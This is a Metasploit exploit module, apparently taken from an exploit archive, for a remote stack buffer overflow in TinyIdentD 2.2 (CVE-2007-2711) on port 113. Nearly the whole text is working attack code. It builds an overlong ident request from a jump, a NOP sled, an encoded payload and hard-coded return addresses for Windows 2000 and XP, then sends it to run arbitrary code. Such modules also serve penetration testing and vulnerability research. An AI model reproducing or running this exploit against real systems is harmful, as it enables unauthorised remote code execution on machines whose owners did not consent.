TinyIdentD 2.2 – Remote Stack Buffer Overflow (Metasploit)
## # $Id: tiny_identd_overflow.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'TinyIdentD 2.2 Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in TinyIdentD version 2.2. If we send a long string to the ident service we can overwrite the return address and execute arbitrary code. Credit to Maarten Boone. }, 'Author' => 'Jacopo Cervini <acaro[at]jervus.it>', 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2007-2711'], ['OSVDB', '36053'], ['BID', '23981'], ], 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0d\x20\x0a" }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 Server SP4 English', { 'Ret' => 0x7c2d15e7, } ], # call esi ['Windows XP SP2 Italian', { 'Ret' => 0x77f46eda, } ], # call esi ], 'Privileged' => false, 'DisclosureDate' => 'May 14 2007' )) register_options([ Opt::RPORT(113) ], self.class) end def exploit connect pattern = "\xeb\x20"+", 28 : USERID : UNIX :"; pattern << make_nops(0x1eb - payload.encoded.length) pattern << payload.encoded pattern << [ target.ret ].pack('V') request = pattern + "\n" print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...") sock.put(request) handler disconnect end end |